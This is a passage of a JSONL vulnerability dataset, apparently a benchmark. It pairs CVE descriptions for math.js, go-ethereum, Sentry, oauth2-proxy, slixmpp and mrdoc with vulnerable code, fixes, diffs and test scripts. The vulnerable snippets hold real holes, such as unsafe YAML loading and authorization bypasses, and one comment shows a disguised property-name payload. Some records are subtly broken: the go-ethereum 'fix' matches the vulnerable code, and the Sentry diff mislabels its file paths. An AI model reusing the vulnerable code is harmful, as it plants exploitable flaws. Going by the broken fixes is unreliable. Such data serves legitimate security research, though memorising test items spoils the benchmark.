'base64');\n        fileObject.fileSize = Buffer.byteLength(bufferData);\n        // prepare file options\n        const fileOptions = {\n          metadata: fileObject.file._metadata,\n        };\n        // some s3-compatible providers (DigitalOcean, Linode) do not accept tags\n        // so we do not include the tags option if it is empty.\n        const fileTags =\n          Object.keys(fileObject.file._tags).length > 0 ? { tags: fileObject.file._tags } : {};\n        Object.assign(fileOptions, fileTags);\n        // save file\n        const createFileResult = await filesController.createFile(\n          config,\n          fileObject.file._name,\n          bufferData,\n          fileObject.file._source.type,\n          fileOptions\n        );\n        // update file with new data\n        fileObject.file._name = createFileResult.name;\n        fileObject.file._url = createFileResult.url;\n        fileObject.file._requestTask = null;\n        fileObject.file._previousSave = Promise.resolve(fileObject.file);\n        saveResult = {\n          url: createFileResult.url,\n          name: createFileResult.name,\n        };\n      }\n      // run afterSaveFile trigger\n      await triggers.maybeRunFileTrigger(triggers.Types.afterSave, fileObject, config, req.auth);\n      res.status(201);\n      res.set('Location', saveResult.url);\n      res.json(saveResult);\n    } catch (e) {\n      logger.error('Error creating a file: ', e);\n      const error = triggers.resolveError(e, {\n        code: Parse.Error.FILE_SAVE_ERROR,\n        message: `Could not store file: ${fileObject.file._name}.`,\n      });\n      next(error);\n    }\n  }"}], "vul_patch": "--- a/src/Routers/FilesRouter.js\n+++ b/src/Routers/FilesRouter.js\n@@ -56,9 +56,9 @@\n       } else if (contentType && contentType.includes('/')) {\n         extension = contentType.split('/')[1];\n       }\n-      extension = extension.split(' ').join('');\n+      extension = extension?.split(' ')?.join('');\n \n-      if (!isValidExtension(extension)) {\n+      if (extension && !isValidExtension(extension)) {\n         next(\n           new Parse.Error(\n             Parse.Error.FILE_SAVE_ERROR,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-1001003", "cve_description": "math.js before 3.17.0 had an issue where private properties such as a constructor could be replaced by using unicode characters when creating an object.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/josdejong/mathjs", "patch_url": ["https://github.com/josdejong/mathjs/commit/a60f3c8d9dd714244aed7a5569c3dccaa3a4e761"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_68_1", "commit": "8d2d48d81", "file_path": "lib/expression/node/ObjectNode.js", "start_line": 55, "end_line": 71, "snippet": "  function compileObjectNode(node, defs, args) {\n    if (!(node instanceof ObjectNode)) {\n      throw new TypeError('No valid ObjectNode')\n    }\n\n    var entries = [];\n    for (var key in node.properties) {\n      if (hasOwnProperty(node.properties, key)) {\n        if (!isSafeProperty(node.properties, key)) {\n          throw new Error('No access to property \"' + key + '\"');\n        }\n\n        entries.push(stringify(key) + ': ' + compile(node.properties[key], defs, args));\n      }\n    }\n    return '{' + entries.join(', ') + '}';\n  }"}], "fix_func": [{"id": "fix_js_68_1", "commit": "a60f3c8d9dd714244aed7a5569c3dccaa3a4e761", "file_path": "lib/expression/node/ObjectNode.js", "start_line": 55, "end_line": 75, "snippet": "  function compileObjectNode(node, defs, args) {\n    if (!(node instanceof ObjectNode)) {\n      throw new TypeError('No valid ObjectNode')\n    }\n\n    var entries = [];\n    for (var key in node.properties) {\n      if (hasOwnProperty(node.properties, key)) {\n        // we stringify/parse the key here to resolve unicode characters,\n        // so you cannot create a key like {\"co\\\\u006Estructor\": null} \n        var stringifiedKey = stringify(key)\n        var parsedKey = JSON.parse(stringifiedKey)\n        if (!isSafeProperty(node.properties, parsedKey)) {\n          throw new Error('No access to property \"' + parsedKey + '\"');\n        }\n\n        entries.push(stringifiedKey + ': ' + compile(node.properties[key], defs, args));\n      }\n    }\n    return '{' + entries.join(', ') + '}';\n  }"}], "vul_patch": "--- a/lib/expression/node/ObjectNode.js\n+++ b/lib/expression/node/ObjectNode.js\n@@ -6,11 +6,15 @@\n     var entries = [];\n     for (var key in node.properties) {\n       if (hasOwnProperty(node.properties, key)) {\n-        if (!isSafeProperty(node.properties, key)) {\n-          throw new Error('No access to property \"' + key + '\"');\n+        // we stringify/parse the key here to resolve unicode characters,\n+        // so you cannot create a key like {\"co\\\\u006Estructor\": null} \n+        var stringifiedKey = stringify(key)\n+        var parsedKey = JSON.parse(stringifiedKey)\n+        if (!isSafeProperty(node.properties, parsedKey)) {\n+          throw new Error('No access to property \"' + parsedKey + '\"');\n         }\n \n-        entries.push(stringify(key) + ': ' + compile(node.properties[key], defs, args));\n+        entries.push(stringifiedKey + ': ' + compile(node.properties[key], defs, args));\n       }\n     }\n     return '{' + entries.join(', ') + '}';\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-1001003:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/mathjs\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"should not allow disguising forbidden properties with unicode characters\" test/expression/security.test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-1001003:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/mathjs\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 3000 test/expression/security.test.js\n"}
{"cve_id": "CVE-2018-16733", "cve_description": "In Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/ethereum/go-ethereum", "patch_url": ["https://github.com/ethereum/go-ethereum/commit/106d196ec4a6451efedc60ab15957f231fa85639"], "programing_language": "Go", "vul_func": [{"id": "vul_go_185_1", "commit": "6d1e292", "file_path": "eth/api_tracer.go", "start_line": 95, "end_line": 123, "snippet": "func (api *PrivateDebugAPI) TraceChain(ctx context.Context, start, end rpc.BlockNumber, config *TraceConfig) (*rpc.Subscription, error) {\n\t// Fetch the block interval that we want to trace\n\tvar from, to *types.Block\n\n\tswitch start {\n\tcase rpc.PendingBlockNumber:\n\t\tfrom = api.eth.miner.PendingBlock()\n\tcase rpc.LatestBlockNumber:\n\t\tfrom = api.eth.blockchain.CurrentBlock()\n\tdefault:\n\t\tfrom = api.eth.blockchain.GetBlockByNumber(uint64(start))\n\t}\n\tswitch end {\n\tcase rpc.PendingBlockNumber:\n\t\tto = api.eth.miner.PendingBlock()\n\tcase rpc.LatestBlockNumber:\n\t\tto = api.eth.blockchain.CurrentBlock()\n\tdefault:\n\t\tto = api.eth.blockchain.GetBlockByNumber(uint64(end))\n\t}\n\t// Trace the chain if we've found all our blocks\n\tif from == nil {\n\t\treturn nil, fmt.Errorf(\"starting block #%d not found\", start)\n\t}\n\tif to == nil {\n\t\treturn nil, fmt.Errorf(\"end block #%d not found\", end)\n\t}\n\treturn api.traceChain(ctx, from, to, config)\n}"}], "fix_func": [{"id": "fix_go_185_1", "commit": "6d1e292", "file_path": "eth/api_tracer.go", "start_line": 95, "end_line": 126, "snippet": "func (api *PrivateDebugAPI) TraceChain(ctx context.Context, start, end rpc.BlockNumber, config *TraceConfig) (*rpc.Subscription, error) {\n\t// Fetch the block interval that we want to trace\n\tvar from, to *types.Block\n\n\tswitch start {\n\tcase rpc.PendingBlockNumber:\n\t\tfrom = api.eth.miner.PendingBlock()\n\tcase rpc.LatestBlockNumber:\n\t\tfrom = api.eth.blockchain.CurrentBlock()\n\tdefault:\n\t\tfrom = api.eth.blockchain.GetBlockByNumber(uint64(start))\n\t}\n\tswitch end {\n\tcase rpc.PendingBlockNumber:\n\t\tto = api.eth.miner.PendingBlock()\n\tcase rpc.LatestBlockNumber:\n\t\tto = api.eth.blockchain.CurrentBlock()\n\tdefault:\n\t\tto = api.eth.blockchain.GetBlockByNumber(uint64(end))\n\t}\n\t// Trace the chain if we've found all our blocks\n\tif from == nil {\n\t\treturn nil, fmt.Errorf(\"starting block #%d not found\", start)\n\t}\n\tif to == nil {\n\t\treturn nil, fmt.Errorf(\"end block #%d not found\", end)\n\t}\n\treturn api.traceChain(ctx, from, to, config)\n}\n\n// traceChain configures a new tracer according to the provided configuration, and\n// executes all the transactions contained within. The return value will be one item"}], "vul_patch": "--- a/eth/api_tracer.go\n+++ b/eth/api_tracer.go\n@@ -27,3 +27,6 @@\n \t}\n \treturn api.traceChain(ctx, from, to, config)\n }\n+\n+// traceChain configures a new tracer according to the provided configuration, and\n+// executes all the transactions contained within. The return value will be one item\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-5591", "cve_description": "An incorrect implementation of \"XEP-0280: Message Carbons\" in multiple XMPP clients allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks. This CVE is for SleekXMPP up to 1.3.1 and Slixmpp all versions up to 1.2.3, as bundled in poezio (0.8 - 0.10) and other products.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/poezio/slixmpp", "patch_url": ["https://github.com/poezio/slixmpp/commit/22664ee7b86c8e010f312b66d12590fb47160ad8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_253_1", "commit": "6476cfc", "file_path": "slixmpp/plugins/xep_0280/carbons.py", "start_line": 63, "end_line": 64, "snippet": "    def _handle_carbon_received(self, msg):\n        self.xmpp.event('carbon_received', msg)"}, {"id": "vul_py_253_2", "commit": "6476cfc", "file_path": "slixmpp/plugins/xep_0280/carbons.py", "start_line": 66, "end_line": 67, "snippet": "    def _handle_carbon_sent(self, msg):\n        self.xmpp.event('carbon_sent', msg)"}], "fix_func": [{"id": "fix_py_253_1", "commit": "22664ee", "file_path": "slixmpp/plugins/xep_0280/carbons.py", "start_line": 63, "end_line": 65, "snippet": "    def _handle_carbon_received(self, msg):\n        if msg['from'].bare == self.xmpp.boundjid.bare:\n            self.xmpp.event('carbon_received', msg)"}, {"id": "fix_py_253_2", "commit": "22664ee", "file_path": "slixmpp/plugins/xep_0280/carbons.py", "start_line": 67, "end_line": 69, "snippet": "    def _handle_carbon_sent(self, msg):\n        if msg['from'].bare == self.xmpp.boundjid.bare:\n            self.xmpp.event('carbon_sent', msg)"}], "vul_patch": "--- a/slixmpp/plugins/xep_0280/carbons.py\n+++ b/slixmpp/plugins/xep_0280/carbons.py\n@@ -1,2 +1,3 @@\n     def _handle_carbon_received(self, msg):\n-        self.xmpp.event('carbon_received', msg)\n+        if msg['from'].bare == self.xmpp.boundjid.bare:\n+            self.xmpp.event('carbon_received', msg)\n\n--- a/slixmpp/plugins/xep_0280/carbons.py\n+++ b/slixmpp/plugins/xep_0280/carbons.py\n@@ -1,2 +1,3 @@\n     def _handle_carbon_sent(self, msg):\n-        self.xmpp.event('carbon_sent', msg)\n+        if msg['from'].bare == self.xmpp.boundjid.bare:\n+            self.xmpp.event('carbon_sent', msg)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-39349", "cve_description": "Sentry is an error tracking and performance monitoring platform. Starting in version 22.1.0 and prior to version 23.7.2, an attacker with access to a token with few or no scopes can query `/api/0/api-tokens/` for a list of all tokens created by a user, including tokens with greater scopes, and use those tokens in other requests. There is no evidence that the issue was exploited on `sentry.io`. For self-hosted users, it is advised to rotate user auth tokens. A fix is available in version 23.7.2 of `sentry` and `self-hosted`. There are no known workarounds.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/getsentry/sentry", "patch_url": ["https://github.com/getsentry/sentry/commit/fad12c1150d1135edf9666ea72ca11bc110c1083"], "programing_language": "Python", "vul_func": [{"id": "vul_py_162_1", "commit": "774af7d", "file_path": "src/sentry/api/endpoints/api_tokens.py", "start_line": 24, "end_line": 83, "snippet": "class ApiTokensEndpoint(Endpoint):\n    authentication_classes = (SessionAuthentication,)\n    permission_classes = (IsAuthenticated,)\n\n    @method_decorator(never_cache)\n    def get(self, request: Request) -> Response:\n        user_id = request.user.id\n        if is_active_superuser(request):\n            user_id = request.GET.get(\"userId\", user_id)\n\n        token_list = list(\n            ApiToken.objects.filter(application__isnull=True, user_id=user_id).select_related(\n                \"application\"\n            )\n        )\n\n        return Response(serialize(token_list, request.user))\n\n    @method_decorator(never_cache)\n    def post(self, request: Request) -> Response:\n        serializer = ApiTokenSerializer(data=request.data)\n\n        if serializer.is_valid():\n            result = serializer.validated_data\n\n            token = ApiToken.objects.create(\n                user_id=request.user.id,\n                scope_list=result[\"scopes\"],\n                refresh_token=None,\n                expires_at=None,\n            )\n\n            capture_security_activity(\n                account=request.user,\n                type=\"api-token-generated\",\n                actor=request.user,\n                ip_address=request.META[\"REMOTE_ADDR\"],\n                context={},\n                send_email=True,\n            )\n\n            analytics.record(\"api_token.created\", user_id=request.user.id)\n\n            return Response(serialize(token, request.user), status=201)\n        return Response(serializer.errors, status=400)\n\n    @method_decorator(never_cache)\n    def delete(self, request: Request):\n        user_id = request.user.id\n        if is_active_superuser(request):\n            user_id = request.data.get(\"userId\", user_id)\n        token = request.data.get(\"token\")\n        if not token:\n            return Response({\"token\": \"\"}, status=400)\n\n        ApiToken.objects.filter(user_id=user_id, token=token, application__isnull=True).delete()\n\n        analytics.record(\"api_token.deleted\", user_id=request.user.id)\n\n        return Response(status=204)"}], "fix_func": [{"id": "fix_py_162_1", "commit": "fad12c1", "file_path": "src/sentry/api/authentication.py", "start_line": 164, "end_line": 169, "snippet": "class SessionNoAuthTokenAuthentication(SessionAuthentication):\n    def authenticate(self, request: Request):\n        auth = get_authorization_header(request)\n        if auth:\n            return None\n        return super().authenticate(request)"}, {"id": "fix_py_162_2", "commit": "fad12c1", "file_path": "src/sentry/api/endpoints/api_tokens.py", "start_line": 24, "end_line": 83, "snippet": "class ApiTokensEndpoint(Endpoint):\n    authentication_classes = (SessionNoAuthTokenAuthentication,)\n    permission_classes = (IsAuthenticated,)\n\n    @method_decorator(never_cache)\n    def get(self, request: Request) -> Response:\n        user_id = request.user.id\n        if is_active_superuser(request):\n            user_id = request.GET.get(\"userId\", user_id)\n\n        token_list = list(\n            ApiToken.objects.filter(application__isnull=True, user_id=user_id).select_related(\n                \"application\"\n            )\n        )\n\n        return Response(serialize(token_list, request.user))\n\n    @method_decorator(never_cache)\n    def post(self, request: Request) -> Response:\n        serializer = ApiTokenSerializer(data=request.data)\n\n        if serializer.is_valid():\n            result = serializer.validated_data\n\n            token = ApiToken.objects.create(\n                user_id=request.user.id,\n                scope_list=result[\"scopes\"],\n                refresh_token=None,\n                expires_at=None,\n            )\n\n            capture_security_activity(\n                account=request.user,\n                type=\"api-token-generated\",\n                actor=request.user,\n                ip_address=request.META[\"REMOTE_ADDR\"],\n                context={},\n                send_email=True,\n            )\n\n            analytics.record(\"api_token.created\", user_id=request.user.id)\n\n            return Response(serialize(token, request.user), status=201)\n        return Response(serializer.errors, status=400)\n\n    @method_decorator(never_cache)\n    def delete(self, request: Request):\n        user_id = request.user.id\n        if is_active_superuser(request):\n            user_id = request.data.get(\"userId\", user_id)\n        token = request.data.get(\"token\")\n        if not token:\n            return Response({\"token\": \"\"}, status=400)\n\n        ApiToken.objects.filter(user_id=user_id, token=token, application__isnull=True).delete()\n\n        analytics.record(\"api_token.deleted\", user_id=request.user.id)\n\n        return Response(status=204)"}], "vul_patch": "--- a/src/sentry/api/endpoints/api_tokens.py\n+++ b/src/sentry/api/authentication.py\n@@ -1,60 +1,6 @@\n-class ApiTokensEndpoint(Endpoint):\n-    authentication_classes = (SessionAuthentication,)\n-    permission_classes = (IsAuthenticated,)\n-\n-    @method_decorator(never_cache)\n-    def get(self, request: Request) -> Response:\n-        user_id = request.user.id\n-        if is_active_superuser(request):\n-            user_id = request.GET.get(\"userId\", user_id)\n-\n-        token_list = list(\n-            ApiToken.objects.filter(application__isnull=True, user_id=user_id).select_related(\n-                \"application\"\n-            )\n-        )\n-\n-        return Response(serialize(token_list, request.user))\n-\n-    @method_decorator(never_cache)\n-    def post(self, request: Request) -> Response:\n-        serializer = ApiTokenSerializer(data=request.data)\n-\n-        if serializer.is_valid():\n-            result = serializer.validated_data\n-\n-            token = ApiToken.objects.create(\n-                user_id=request.user.id,\n-                scope_list=result[\"scopes\"],\n-                refresh_token=None,\n-                expires_at=None,\n-            )\n-\n-            capture_security_activity(\n-                account=request.user,\n-                type=\"api-token-generated\",\n-                actor=request.user,\n-                ip_address=request.META[\"REMOTE_ADDR\"],\n-                context={},\n-                send_email=True,\n-            )\n-\n-            analytics.record(\"api_token.created\", user_id=request.user.id)\n-\n-            return Response(serialize(token, request.user), status=201)\n-        return Response(serializer.errors, status=400)\n-\n-    @method_decorator(never_cache)\n-    def delete(self, request: Request):\n-        user_id = request.user.id\n-        if is_active_superuser(request):\n-            user_id = request.data.get(\"userId\", user_id)\n-        token = request.data.get(\"token\")\n-        if not token:\n-            return Response({\"token\": \"\"}, status=400)\n-\n-        ApiToken.objects.filter(user_id=user_id, token=token, application__isnull=True).delete()\n-\n-        analytics.record(\"api_token.deleted\", user_id=request.user.id)\n-\n-        return Response(status=204)\n+class SessionNoAuthTokenAuthentication(SessionAuthentication):\n+    def authenticate(self, request: Request):\n+        auth = get_authorization_header(request)\n+        if auth:\n+            return None\n+        return super().authenticate(request)\n\n--- /dev/null\n+++ b/src/sentry/api/authentication.py\n@@ -0,0 +1,60 @@\n+class ApiTokensEndpoint(Endpoint):\n+    authentication_classes = (SessionNoAuthTokenAuthentication,)\n+    permission_classes = (IsAuthenticated,)\n+\n+    @method_decorator(never_cache)\n+    def get(self, request: Request) -> Response:\n+        user_id = request.user.id\n+        if is_active_superuser(request):\n+            user_id = request.GET.get(\"userId\", user_id)\n+\n+        token_list = list(\n+            ApiToken.objects.filter(application__isnull=True, user_id=user_id).select_related(\n+                \"application\"\n+            )\n+        )\n+\n+        return Response(serialize(token_list, request.user))\n+\n+    @method_decorator(never_cache)\n+    def post(self, request: Request) -> Response:\n+        serializer = ApiTokenSerializer(data=request.data)\n+\n+        if serializer.is_valid():\n+            result = serializer.validated_data\n+\n+            token = ApiToken.objects.create(\n+                user_id=request.user.id,\n+                scope_list=result[\"scopes\"],\n+                refresh_token=None,\n+                expires_at=None,\n+            )\n+\n+            capture_security_activity(\n+                account=request.user,\n+                type=\"api-token-generated\",\n+                actor=request.user,\n+                ip_address=request.META[\"REMOTE_ADDR\"],\n+                context={},\n+                send_email=True,\n+            )\n+\n+            analytics.record(\"api_token.created\", user_id=request.user.id)\n+\n+            return Response(serialize(token, request.user), status=201)\n+        return Response(serializer.errors, status=400)\n+\n+    @method_decorator(never_cache)\n+    def delete(self, request: Request):\n+        user_id = request.user.id\n+        if is_active_superuser(request):\n+            user_id = request.data.get(\"userId\", user_id)\n+        token = request.data.get(\"token\")\n+        if not token:\n+            return Response({\"token\": \"\"}, status=400)\n+\n+        ApiToken.objects.filter(user_id=user_id, token=token, application__isnull=True).delete()\n+\n+        analytics.record(\"api_token.deleted\", user_id=request.user.id)\n+\n+        return Response(status=204)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21411", "cve_description": "OAuth2-Proxy is an open source reverse proxy that provides authentication with Google, Github or other providers. The `--gitlab-group` flag for group-based authorization in the GitLab provider stopped working in the v7.0.0 release. Regardless of the flag settings, authorization wasn't restricted. Additionally, any authenticated users had whichever groups were set in `--gitlab-group` added to the new `X-Forwarded-Groups` header to the upstream application. While adding GitLab project based authorization support in #630, a bug was introduced where the user session's groups field was populated with the `--gitlab-group` config entries instead of pulling the individual user's group membership from the GitLab Userinfo endpoint. When the session groups where compared against the allowed groups for authorization, they matched improperly (since both lists were populated with the same data) so authorization was allowed. This impacts GitLab Provider users who relies on group membership for authorization restrictions. Any authenticated users in your GitLab environment can access your applications regardless of `--gitlab-group` membership restrictions. This is patched in v7.1.0. There is no workaround for the Group membership bug. But `--gitlab-project` can be set to use Project membership as the authorization checks instead of groups; it is not broken.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/oauth2-proxy/oauth2-proxy", "patch_url": ["https://github.com/oauth2-proxy/oauth2-proxy/commit/0279fa7dff1752f1710707dbd1ffac839de8bbfc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_57_1", "commit": "73d9f38", "file_path": "./providers/gitlab.go", "start_line": 284, "end_line": 313, "snippet": "func (p *GitLabProvider) EnrichSession(ctx context.Context, s *sessions.SessionState) error {\n\t// Retrieve user info\n\tuserInfo, err := p.getUserInfo(ctx, s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve user info: %v\", err)\n\t}\n\n\t// Check if email is verified\n\tif !p.AllowUnverifiedEmail && !userInfo.EmailVerified {\n\t\treturn fmt.Errorf(\"user email is not verified\")\n\t}\n\n\ts.User = userInfo.Username\n\ts.Email = userInfo.Email\n\n\tp.addGroupsToSession(ctx, s)\n\n\tp.addProjectsToSession(ctx, s)\n\n\treturn nil\n\n}\n\n// addGroupsToSession projects into session.Groups\nfunc (p *GitLabProvider) addGroupsToSession(ctx context.Context, s *sessions.SessionState) {\n\t// Iterate over projects, check if oauth2-proxy can get project information on behalf of the user\n\tfor _, group := range p.Groups {\n\t\ts.Groups = append(s.Groups, fmt.Sprintf(\"group:%s\", group))\n\t}\n}"}], "fix_func": [{"id": "fix_go_57_1", "commit": "0279fa7dff1752f1710707dbd1ffac839de8bbfc", "file_path": "./providers/gitlab.go", "start_line": 284, "end_line": 305, "snippet": "func (p *GitLabProvider) EnrichSession(ctx context.Context, s *sessions.SessionState) error {\n\t// Retrieve user info\n\tuserInfo, err := p.getUserInfo(ctx, s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve user info: %v\", err)\n\t}\n\n\t// Check if email is verified\n\tif !p.AllowUnverifiedEmail && !userInfo.EmailVerified {\n\t\treturn fmt.Errorf(\"user email is not verified\")\n\t}\n\n\ts.User = userInfo.Username\n\ts.Email = userInfo.Email\n\tfor _, group := range userInfo.Groups {\n\t\ts.Groups = append(s.Groups, fmt.Sprintf(\"group:%s\", group))\n\t}\n\n\tp.addProjectsToSession(ctx, s)\n\n\treturn nil\n}"}], "vul_patch": "--- a/./providers/gitlab.go\n+++ b/./providers/gitlab.go\n@@ -12,19 +12,11 @@\n \n \ts.User = userInfo.Username\n \ts.Email = userInfo.Email\n-\n-\tp.addGroupsToSession(ctx, s)\n+\tfor _, group := range userInfo.Groups {\n+\t\ts.Groups = append(s.Groups, fmt.Sprintf(\"group:%s\", group))\n+\t}\n \n \tp.addProjectsToSession(ctx, s)\n \n \treturn nil\n-\n }\n-\n-// addGroupsToSession projects into session.Groups\n-func (p *GitLabProvider) addGroupsToSession(ctx context.Context, s *sessions.SessionState) {\n-\t// Iterate over projects, check if oauth2-proxy can get project information on behalf of the user\n-\tfor _, group := range p.Groups {\n-\t\ts.Groups = append(s.Groups, fmt.Sprintf(\"group:%s\", group))\n-\t}\n-}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21411:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/oauth2-proxy\nrm -rf ./providers/gitlab_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -v -run 'TestProviderSuite/when_filtering_on_gitlab_entities' github.com/oauth2-proxy/oauth2-proxy/v7/providers\n", "unit_test_cmd": null}
{"cve_id": "CVE-2021-32568", "cve_description": "mrdoc is vulnerable to Deserialization of Untrusted Data", "cwe_info": {"CWE-502": {"name": "Deserialization of Untrusted Data", "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."}}, "repo": "https://github.com/zmister2016/mrdoc", "patch_url": ["https://github.com/zmister2016/mrdoc/commit/bb49e1287700b4e7681eab544c61093821ce72f6"], "programing_language": "Python", "vul_func": [{"id": "vul_py_99_1", "commit": "ce0c9f1", "file_path": "app_doc/import_utils.py", "start_line": "26", "end_line": "161", "snippet": "    def read_zip(self,zip_file_path,create_user):\n        # \\u5bfc\\u5165\\u6d41\\u7a0b\\uff1a\n        # 1\\u3001\\u89e3\\u538bzip\\u538b\\u7f29\\u5305\\u6587\\u4ef6\\u5230temp\\u6587\\u4ef6\\u5939\n        # 2\\u3001\\u904d\\u5386temp\\u6587\\u4ef6\\u5939\\u5185\\u7684\\u89e3\\u538b\\u540e\\u7684.md\\u6587\\u4ef6\n        # 3\\u3001\\u8bfb\\u53d6.md\\u6587\\u4ef6\\u7684\\u6587\\u672c\\u5185\\u5bb9\n        # 4\\u3001\\u5982\\u679c\\u91cc\\u9762\\u5339\\u914d\\u5230\\u76f8\\u5bf9\\u8def\\u5f84\\u7684\\u9759\\u6001\\u6587\\u4ef6\\uff0c\\u4ece\\u6307\\u5b9a\\u6587\\u4ef6\\u5939\\u91cc\\u9762\\u8bfb\\u53d6\n        # 5\\u3001\\u4e0a\\u4f20\\u56fe\\u7247\\uff0c\\u5199\\u5165\\u6570\\u636e\\u5e93\\uff0c\\u4fee\\u6539.md\\u6587\\u4ef6\\u91cc\\u9762\\u7684url\\u8def\\u5f84\n\n        # \\u65b0\\u5efa\\u4e00\\u4e2a\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\\uff0c\\u7528\\u4e8e\\u5b58\\u653e\\u89e3\\u538b\\u7684\\u6587\\u4ef6\n        self.temp_dir = zip_file_path[:-3]\n        os.mkdir(self.temp_dir)\n        # \\u89e3\\u538b zip \\u6587\\u4ef6\\u5230\\u6307\\u5b9a\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\n        shutil.unpack_archive(zip_file_path, extract_dir=self.temp_dir)\n\n        # \\u5904\\u7406\\u6587\\u4ef6\\u5939\\u548c\\u6587\\u4ef6\\u540d\\u7684\\u4e2d\\u6587\\u4e71\\u7801\n        for root, dirs, files in os.walk(self.temp_dir):\n            for dir in dirs:\n                try:\n                    new_dir = dir.encode('cp437').decode('gbk')\n                except:\n                    new_dir = dir.encode('utf-8').decode('utf-8')\n                # print(new_dir)\n                os.rename(os.path.join(root, dir), os.path.join(root, new_dir))\n\n            for file in files:\n                try:\n                    new_file = file.encode('cp437').decode('gbk')\n                except:\n                    new_file = file.encode('utf-8').decode('utf-8')\n                # print(root, new_file)\n                os.rename(os.path.join(root, file), os.path.join(root, new_file))\n\n        # \\u8bfb\\u53d6yaml\\u6587\\u4ef6\n        try:\n            with open(os.path.join(self.temp_dir ,'mrdoc.yaml'),'r',encoding='utf-8') as yaml_file:\n                yaml_str = yaml.load(yaml_file.read())\n                project_name = yaml_str['project_name'] \\\n                    if 'project_name' in yaml_str.keys() else zip_file_path[:-4].split('/')[-1]\n                project_desc = yaml_str['project_desc'] if 'project_desc' in yaml_str.keys() else ''\n                project_role = yaml_str['project_role'] if 'project_role' in yaml_str.keys() else 1\n                editor_mode = yaml_str['editor_mode'] if 'editor_mode' in yaml_str.keys() else 1\n                project_toc = yaml_str['toc']\n                toc_item_list = []\n                for toc in project_toc:\n                    # print(toc)\n                    item = {\n                        'name': toc['name'],\n                        'file': toc['file'],\n                        'parent': 0,\n                    }\n                    toc_item_list.append(item)\n                    if 'children' in toc.keys():\n                        for b in toc['children']:\n                            item = {\n                                'name': b['name'],\n                                'file': b['file'],\n                                'parent': toc['name']\n                            }\n                            toc_item_list.append(item)\n                            if 'children' in b.keys():\n                                for c in b['children']:\n                                    item = {\n                                        'name': c['name'],\n                                        'file': c['file'],\n                                        'parent': b['name']\n                                    }\n                                    toc_item_list.append(item)\n\n\n        except:\n            logger.error(_(\"\\u672a\\u53d1\\u73b0yaml\\u6587\\u4ef6\"))\n            project_name = zip_file_path[:-4].split('/')[-1]\n            project_desc = ''\n            project_role = 1\n            editor_mode = 1\n            project_toc = False\n\n        # \\u5f00\\u542f\\u4e8b\\u52a1\n        with transaction.atomic():\n            save_id = transaction.savepoint()\n            try:\n                # \\u65b0\\u5efa\\u6587\\u96c6\n                project = Project.objects.create(\n                    name=project_name,\n                    intro=project_desc,\n                    role=project_role,\n                    create_user=create_user\n                )\n                if project_toc is False:\n                    # \\u904d\\u5386\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\\u4e2d\\u7684\\u6240\\u6709\\u6587\\u4ef6\\u548c\\u6587\\u4ef6\\u5939\n                    for f in os.listdir(self.temp_dir):\n                        # \\u83b7\\u53d6 .md \\u6587\\u4ef6\n                        if f.endswith('.md'):\n                            # print(f)\n                            # \\u8bfb\\u53d6 .md \\u6587\\u4ef6\\u6587\\u672c\\u5185\\u5bb9\n                            with open(os.path.join(self.temp_dir,f),'r',encoding='utf-8') as md_file:\n                                md_content = md_file.read()\n                                md_content = self.operat_md_media(md_content,create_user)\n                                # \\u65b0\\u5efa\\u6587\\u6863\n                                doc = Doc.objects.create(\n                                    name = f[:-3],\n                                    pre_content = md_content,\n                                    top_doc = project.id,\n                                    status = 0,\n                                    editor_mode = editor_mode,\n                                    create_user = create_user\n                                )\n                else:\n                    for i in toc_item_list:\n                        with open(os.path.join(self.temp_dir,i['file']),'r',encoding='utf-8') as md_file:\n                            md_content = md_file.read()\n                            md_content = self.operat_md_media(md_content, create_user)\n                            # \\u65b0\\u5efa\\u6587\\u6863\n                            doc = Doc.objects.create(\n                                name=i['name'],\n                                pre_content=md_content,\n                                top_doc=project.id,\n                                parent_doc = (Doc.objects.get(top_doc=project.id,name=i['parent'])).id \\\n                                    if i['parent'] != 0 else 0,\n                                status=0,\n                                editor_mode=editor_mode,\n                                create_user=create_user\n                            